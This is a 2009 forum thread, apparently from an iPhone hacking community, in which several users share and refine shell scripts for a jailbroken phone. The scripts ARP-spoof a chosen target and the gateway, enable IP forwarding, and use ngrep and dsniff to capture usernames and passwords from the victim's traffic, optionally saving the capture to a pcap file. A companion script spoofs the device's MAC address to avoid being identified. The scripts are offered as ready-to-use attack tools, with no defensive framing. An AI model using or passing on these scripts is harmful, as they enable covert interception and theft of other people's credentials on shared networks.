|
|||||||||
|
|||||||||
|
|||
|
Search & install dsniff.deb from mulliner (google) on the phone and create a file...
Code:
#!/bin/sh
#The script needs the following packets: dsniff gawk
#fr0g
tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
tmac=`ifconfig en0|grep ether|cut -d" " -f2`
echo ""
echo "#####################"
echo "### dSniff script ###"
echo "#####################"
echo ""
echo "Target IP $tsubnet.?"
read "thost"
tip=`echo $tsubnet.$thost`
echo ""
echo "Subnet $tbroadcast"
echo "Gateway $tgateway"
echo "Local MAC $tmac"
echo "Local IP $tlocalip"
echo "Target IP $tip"
echo ""
echo "Start sniffing? (y,n)"
read tsniff
if [ $tsniff = y ]
then
sysctl -w net.inet.ip.forwarding=1
arpspoof -i en0 -t $tip $tgateway > /dev/null 2>&1 &
arpspoof -i en0 -t $tgateway $tip > /dev/null 2>&1 &
dsniff
#ngrep 'USER|PASS|user|pass|username|password|uid|upw' src host $tip|egrep -A0 ">|USER|PASS|user|pass|username|password|uid=|upw="
#ngrep 'USER|PASS|user|pass|username|password' src host $tip|egrep -A1 ">|USER|PASS|user|pass|username|password"
ngrep 'USER|PASS|user|pass|username|password' src host $tip
sleep 3
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
#dsniff
else
echo ""
echo "Clear state? (y,n)"
read tstate
if [ $tstate = n ]
then
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
exit 0
else
sysctl -w net.inet.ip.forwarding=0
killall dsniff
killall arpspoof
killall ngrep
sleep 3
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
echo "Exit"
echo ""
exit 0
fi
fi
exit 0
Last edited by fr0g; 07-23-2009 at 09:57 PM. |
|
|||
|
Yep, nice. But dsniff and gawk are not the only packages required... you must also install:
coreutils coreutils-bin shell-cmds system-cmds grep ngrep |
| Sponsored links Remove advertisements | |
|
|
|
|
|
|||
|
Looks like it could work well, but I'm getting the following error.
Code:
Start sniffing? (y,n) y net.inet.ip.forwarding: 1 -> 1 dyld: Library not loaded: /usr/lib/libdb-4.6.dylib Referenced from: /usr/sbin/dsniff Reason: image not found ./dsniff.sh: line 59: 955 Trace/BPT trap dsniff interface: en0 (192.168.1.0/255.255.255.0) filter: (ip) and ( src host 192.168.1.118 ) match: USER|PASS|user|pass|username|password ############################## Thanks Note: adv-cmds package was also installed. It contains the ps command. |
|
|||
|
Change your MAC first!
![]() Code:
#!/bin/sh
#written by yjps3
#modified by fr0g 07.2009
#rnd code by vaporub
tmac_old=`ifconfig en0|grep ether|cut -d" " -f2`
#Use rnd MAC
NEW_MAC=`(date) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
/sbin/ifconfig en0 up lladdr 00:$NEW_MAC
tmac_new=`ifconfig en0|grep ether|cut -d" " -f2`
echo "MAC old $tmac_old"
echo "MAC new $tmac_new"
![]() Code:
#!/bin/sh
#The script needs the following packets: dsniff gawk ngrep coreutils coreutils-bin shell-cmds system-cmds grep bigbosshackertools mobileterminal
tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
tmac=`ifconfig en0|grep ether|cut -d" " -f2`
echo ""
echo "#####################"
echo "### dSniff script ###"
echo "#####################"
echo ""
echo "Gateway $tgateway"
echo "Local IP $tlocalip"
echo "Local MAC $tmac"
echo ""
echo "Start sniffing? (y,n)"
read tsniff
if [ $tsniff = y ]
then
sysctl -w net.inet.ip.forwarding=1
arpspoof -i en0 $tgateway > /dev/null 2>&1 &
ngrep 'USER|PASS|user|pass|username|password'
#ngrep 'USER|PASS|user|pass|username|password|uid|upw'|egrep -A1 "USER|PASS|user|pass|username|password|uid|upw"
#dsniff
sysctl -w net.inet.ip.forwarding=0
killall dsniff
killall arpspoof
killall ngrep
sleep 5
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
echo "Exit"
else
sysctl -w net.inet.ip.forwarding=0
killall dsniff
killall arpspoof
killall ngrep
sleep 5
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
echo "Exit"
fi
exit 0
|
|
|||
|
Hi guys!! Thank you for this wonderful script and also other things
![]() This version has option for NGREP to save to file. Also output is parsed by default, so you don't get so much on your small screen. I also included mac changer but it has some problems, need someone to take a look why can't we change MAC just like this. Code:
#!/bin/sh
#edited by return0
if [ "$UID" != 0 ]
then
echo "You must be root to run this script!"
exit
fi
#tmac_old=`ifconfig en0|grep ether|cut -d" " -f2`
#echo "MAC old $tmac_old"
#Use rnd MAC
#randmac=`echo $RANDOM | md5sum | sed -r 's/(..)/\1:/g; s/^(.{14}).*$/\1/;'`
#ifconfig en0 up lladdr 00:$randmac
#tmac_new=`ifconfig en0|grep ether|cut -d" " -f2`
#echo "MAC new $tmac_new"
tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
tmac=`ifconfig en0|grep ether|cut -d" " -f2`
echo ""
echo "#####################"
echo "### dSniff script ###"
echo "#####################"
echo ""
echo ""
echo "Subnet $tbroadcast"
echo "Gateway $tgateway"
echo "Local MAC $tmac"
echo "Local IP $tlocalip"
echo "Target IP $tip"
echo ""
echo "Start sniffing? (y,n)"
read tsniff
if [ $tsniff = y ]
then
echo "Target IP $tsubnet.? (enter a number):"
read "thost"
tip=`echo $tsubnet.$thost`
echo "Save output to pcap file? (path/n)"
read tsave
if [ $tsave != n ]
then
save="-O "$tsave
fi
sysctl -w net.inet.ip.forwarding=1
arpspoof -i en0 -t $tip $tgateway > /dev/null 2>&1 &
arpspoof -i en0 -t $tgateway $tip > /dev/null 2>&1 &
#dsniff
#ngrep 'USER|PASS|user|pass|username|password|uid|upw' src host $tip|egrep -A0 ">|USER|PASS|user|pass|username|password|uid=|upw="
ngrep $save 'USER|PASS|user|pass|username|password' src host $tip|egrep -A1 ">|USER|PASS|user|pass|username|password"
#ngrep 'USER|PASS|user|pass|username|uporabnik|email|password|passwd|pwd|uname|admin|root|geslo' src host $tip
sleep 3
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
#dsniff
else
echo ""
echo "Clear state? (y,n)"
read tstate
if [ $tstate = n ]
then
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
exit 0
else
sysctl -w net.inet.ip.forwarding=0
killall dsniff
killall arpspoof
killall ngrep
sleep 3
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
echo "Exit"
echo ""
exit 0
fi
fi
exit 0
Last edited by return0; 11-01-2009 at 08:44 PM. |
| Remove advertisements | |
|
|
|
|
![]() |
| Bookmarks |
| Tags |
| arps |
| Thread Tools | |
| Display Modes | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Leopard on Asus eeePC 1000HGo with 3G working | JokerPCs | Tutorials | 50 | 09-23-2009 03:42 PM |
| [hAcx] iLiberty+ Script Generator (Windows) | hacx | Tools | 26 | 07-04-2008 08:51 AM |
| [Speaker][SOLVED] Stopped working | Cerebro | Hardware | 4 | 01-18-2008 01:04 PM |
| T-zones no longer working | amagab | General | 7 | 01-07-2008 08:42 AM |
| Iphone Orange Uk-Turbo Sim. Working, info here | Johnaldinho | Turbo-, Supersim and Simcloning Solution | 0 | 08-24-2007 01:34 PM |
|
|